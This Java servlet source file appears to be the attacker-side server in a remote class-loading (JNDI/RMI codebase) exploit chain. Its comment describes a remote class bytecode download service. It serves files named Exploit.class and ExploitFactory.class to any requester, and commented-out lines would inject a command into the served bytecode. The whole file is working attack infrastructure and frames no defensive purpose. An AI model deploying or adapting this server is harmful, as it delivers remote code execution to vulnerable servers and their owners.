package com.technology;

import com.technology.util.Transformers;

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.*;
import java.net.URLEncoder;
import java.text.DateFormat;
import java.text.SimpleDateFormat;
import java.util.Date;

/**
 * 提供 远程class字节码下载服务
 * javaCodeBase
 */
@WebServlet(urlPatterns = "/*")
public class MyServlet extends HttpServlet {
	@Override
	public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
		String filename = request.getRequestURI().substring(1);
		InputStream in = checkFilename(filename);
		byte[] transformed;
		ByteArrayInputStream bain = null;

		if (in != null) {
			try {
//				String command = "";
//				transformed = Transformers.insertCommand(in, command);
//				bain = new ByteArrayInputStream(transformed);
				bain = new ByteArrayInputStream(toByteArray(in));

			} catch (Exception e) {
				e.printStackTrace();
				System.out.println(getLocalTime() + " [SERVER]>> Byte array build failed.");
			}

			System.out.println(getLocalTime() + " [SERVER]>> Log a request to " + request.getRequestURL());
			response.setStatus(HttpServletResponse.SC_OK);
			response.setHeader("content-disposition", "attachment;filename=" + URLEncoder.encode(filename, "UTF-8"));

			int len;
			byte[] buffer = new byte[1024];
			OutputStream out = response.getOutputStream();
			if (bain != null) {
				while ((len = bain.read(buffer)) > 0) {
					out.write(buffer, 0, len);
				}
				bain.close();
			} else {
				System.out.println(getLocalTime() + " [SERVER]>> Read file error!");
			}
		} else {
			System.out.println(getLocalTime() + " [SERVER]>> URL(" + request.getRequestURL() + ") Not Exist!");
		}
	}

	public static byte[] toByteArray(InputStream input) throws IOException {
		ByteArrayOutputStream output = new ByteArrayOutputStream();
		byte[] buffer = new byte[4096];
		int n = 0;
		while (-1 != (n = input.read(buffer))) {
			output.write(buffer, 0, n);
		}
		return output.toByteArray();
	}

	public static String getLocalTime() {
		Date d = new Date();
		DateFormat sdf = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
		return sdf.format(d);
	}

	private static InputStream checkFilename(String filename) {
		String template;
		switch (filename) {
			case "com/technology/domain/Exploit.class":
				template = "templates/Exploit.class";
				break;
			case "com/technology/domain/ExploitFactory.class":
				template = "templates/ExploitFactory.class";
				break;
			// TODO:Add more
			default:
				return null;
		}
		return Thread.currentThread().getContextClassLoader().getResourceAsStream(template);

	}

	@Override
	public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
		doGet(request, response);
	}
}
